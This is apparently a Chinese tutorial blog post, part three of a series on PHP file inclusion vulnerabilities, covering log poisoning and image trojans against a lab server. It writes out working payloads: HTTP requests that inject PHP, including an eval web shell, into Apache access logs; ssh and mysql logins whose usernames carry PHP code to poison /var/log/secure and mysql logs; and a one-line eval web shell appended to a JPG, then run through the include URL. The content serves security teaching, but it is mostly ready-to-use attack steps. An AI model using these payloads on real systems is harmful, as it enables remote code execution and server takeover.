文件包含漏洞(3),日志利用, 图片木马利用

日志利用, 图片木马利用

一, 利用服务器日志

通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.

py 复制代码
apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log 

首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.

实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log

由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.

py 复制代码
http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>

查看access_log日志:

py 复制代码
[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"

这里可以看到符号被浏览器转码了, 因此无法执行代码.

那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.

方式1: 不使用双引号, 需要去掉php空格.
py 复制代码
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033

这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
py 复制代码
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961

利用漏洞:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log

post data: 
cmd=phpinfo();

二, 利用ssh或mysql的登录日志

1. linux默认的登录日志:
py 复制代码
/var/log/secure

日志文件对其他用户有可读权限

正常登录:

py 复制代码
ssh root@192.168.112.200

因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:

py 复制代码
ssh "<?phpinfo();?>"@192.168.112.200

查看日志:

py 复制代码
Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]

这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志

原理与ssh日志利用一样.

mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:

sh 复制代码
general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file

日志文件对其他用户有可读权限

假设日志的路径:

py 复制代码
/opt/lampp/logs/mysql.log

正常登录:

py 复制代码
mysql -u root -p -h 192.168.112.200

将用户名替换成恶意代码:

py 复制代码
mysql -u "<?phpinfo();?>" -p -h 192.168.112.200

利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log

3. 图片木马

准备图片和php文件, 使用cmd中的copy命令合并.

例如:

mm.php文件:

php 复制代码
<?php @eval($_GET['cmd']); ?>

命令:

py 复制代码
copy src.jpg/b + mm.php/a p_mm.jpg

以上命令将src.jpgmm.php合并, 生成图片p_mm.jpg

将木马图片上传到服务器, 利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe5 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5